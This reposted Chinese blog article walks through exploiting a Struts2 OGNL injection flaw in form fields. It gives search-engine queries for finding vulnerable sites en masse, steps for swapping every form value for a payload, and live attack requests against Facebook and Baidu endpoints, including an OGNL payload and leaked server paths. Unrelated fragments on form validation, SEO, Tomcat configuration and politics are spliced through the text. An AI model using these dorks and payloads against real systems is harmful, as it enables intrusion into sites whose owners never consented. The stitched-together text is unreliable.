原来的地方,变成了
<true>
<true>
弹出calc,就是说,ognl被执行了。大家看懂了,得从应用程序中,找每个input,一个一个试,从结果页面,判断漏洞是否存在。
然而,这只是第二步。
第一步当然是找到struts了,为了批量的找到struts,最好的办法就是搜索引擎。“inurl:action”,“filetype:action”都是可以找到struts的。
4.实时验证:可以通过keyup或blur事件触发验证,而不仅仅在表单提交的时候验证。11、严密的数据验证(表单提交必填验证、输入验证、逻辑验证、会员验证、删除验证)。 表单验证属性,require类型时,若输入值为空,则拒绝提交,并会有一个提示.上面两种写法都对,这个很有用.并且可以用于textarea以及hidden/image/submit类型.pattern类型为正则验证,可以完成各种复杂的验证.这两种类型在opera中必须指定name值,否则无效果.。

别小看这英文的短句,即使是中文的系统,如果没有定义表单验证中得类型转换错误信息,表单中数字等类型,会自动说出验证结果。这个自动说的结果,就是框架提供的默认信息“Invalid field value”。程序员懒得去给类型转换失败,写一条专用的错误信息,也给我们提供了便利。
综合来说,我们搜索“filetype:action Invalid field value”,就能看到N多站了。这些站,基本上都是使用了struts标签库的站。
攻击步骤
再总结一下
1、 找到可以输入的表单,最好有日期类型,数字类型等。
2、 提交表单,修改包,把所有的表单值内容,都改为POC。
3、 查看页面返回源码,如果有POC执行后的返回,就成功了。
实际利用场景
Google搜索结果的第一页,当时真的是一眼定位目标,为什么能一眼定位呢?
因为它“非死不可”!
没错,就是facebook。
遵循这个逻辑,黑掉“非死不可”
http://apps.facebook.com/sparechange/showTopUp.action?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&appId=$sc_appId&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&
}var monitor_base = 'http://igw.monitor.taobao.com/monitor-gw/itemdesc.htm。new image().src = 'http://igw.monitor.taobao.com/monitor-gw/itemdesc.htm。public async task
这个页面爆出:
所以提交下面表单
<form action="http://apps.facebook.com/sparechange/showTopUp.action?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&" method="POST"> <input name=”appId”> <input type=”submit”> </form>
<form action="?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&" method="POST"><input name=”appId”><input type=”submit”></form>
输入:
查看源码
<input type="hidden" name="devId" value="$sc_devId" /> <input value="$sc_senderId" name="senderId" type="hidden" /> <input value="{javax.servlet.context.tempdir=/usr/local/tomcat/work/Catalina/localhost/fb, org.apache.catalina.jsp_classpath=/usr/local/tomcat/work/Catalina/localhost/fb/WEB-INF/classes/:/usr/local/tomcat/shared/classes/:/usr/local/tomcat/shared/lib/axis.jar, org.apache.catalina.resources=org.apache.naming.resources.ProxyDirContext@119015b}" name="appId" type="hidden" /> <input value="" name="flowType" type="hidden" />
create a tomcat-root/conf/catalina/localhost/webapp-name.xml file and add the following lines (assuming a web application name of samples):。7、vi conf/catalina/localhost/solr.xml。[root@localhost logs]# vim catalina.out。
其实input的value很长很长,这里文中截断了。

触发这个漏洞后,作者也给facebook发了邮件。找安全团队地址时,看到facebook居然有赏金,很开心。但是马上又看到apps下面的应用,不参与悬赏,那个不爽啊,虽然出于职业道德,还是给它发了邮件,真不爽。只能自我安慰一下:“哥邮件里写的英文,你们真的以为能当英文看么?“
从侧面撬动苛刻条件
最后讨论一下“错误页面刚好会显示可利用字段的值”,这一条还是从侧面,可以撬动的。搜索引擎的结果里,很多都是页面上有“Invalid field value”,其实并不会在当前页面展示字段的内容,也就无法触发漏洞了。
当前页面真的无法触发漏洞么?
真的。。。-_-!
别忙泼水,作者要说得是,只是当前页面不会触发而已。出现这个错误,代表了这个系统的开发人员,喜欢struts,喜欢struts的标签库。你懂么?他好这口儿!
我们来看看另一个例子。
这位虽然没有非死不可,但是想百毒不侵,那是没有的。
猜到了?百度!
搜索引擎里看到了一个url:
?siteId=1..
我们建设优质的外链,就是为了继承优秀网站的一部分权重,我们可以在源代码中将不重要的页面链接加上nofollow标签(友情链接不要加),就可以屏蔽这些页面传递网站权重,这样有利于凝聚网站内部的权重,促进网站的排名,如果不用nofollow优化网站的话,我们网站权重就会造成一些流失,但是不要乱用,nofollow标签是告诉搜索引擎这个页面不要传递权重,如果你网站大量使用的话,反而会被百度误解为你网站有很多不重要的页面,一旦对百度留下这个印象,你的排名就难喽。显示的标签实现,为了将来可以在页面取到标签内容值,我们定义隐藏域来保存属性值,然后在显示显示内容。struts2首先访问jsp页面的时候,不会像struts1一样调用get方法来初始化页面的标签,而是直接到值栈中去拿值(容错能力比struts1强)。
所以,很不幸(当然作者其实觉得很幸运),在另一个地方,找到了想要的东西。提交下面表单
POST http://beidou.baidu.com/tool/addGroupClone.action?task.userid=3701034 HTTP/1.1 struts.token.name=groupCloneToken&groupCloneToken=fdasfdsafdsa&list-filter=&sub-list-filter=&task.groupIdList=2201994&task.unitstate=0&task.copyRegion=true&task.copyNetWork=true&task.copyDirectType=true&task.planid=-1&task.newPlan=true&task.planname=fdsafdsafdsa&task.budget=' %2B #application %2B '
POST ?task.userid=3701034 HTTP/1.1struts.token.name=groupCloneToken&groupCloneToken=fdasfdsafdsa&list-filter=&sub-list-filter=&task.groupIdList=2201994&task.unitstate=0&task.copyRegion=true&task.copyNetWork=true&task.copyDirectType=true&task.planid=-1&task.newPlan=true&task.planname=fdsafdsafdsa&task.budget=' %2B #application %2B '
就能看到一个令人惊喜的结果。
直接提交是不行的,里面有token,一次验证立刻失效。必须找到页面,在发送到服务器之前,拦截http请求,修改后提交,才能看到结果。
看到这里,大家都会批量抓鸡了。关于执行任意代码的exp怎么写,这个时候当然不会放出来,不然过些天,还有谁会关注我的微薄()呢?想知道的,请把作者之前写过的《Struts2和Webwork远程命令执行漏洞分析》“https://www.inbreak.net/archives/167”,认真读几遍,会有大机缘。作者当时看到漏洞介绍后,1分钟之内,写好了执行任意代码的EXP。只要你懂,你就懂了。
最后插一句,
感谢KJ一起研究
感谢小笨笨(cnben)建议
感谢 寻者 提供各种反驳本文错误分析的实际场景
By kxlzx https://www.inbreak.net
微薄()
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-114618-2.html
因为去不了
第三就组建几个“南海捕渔大型船队”
美国也就是虚张声势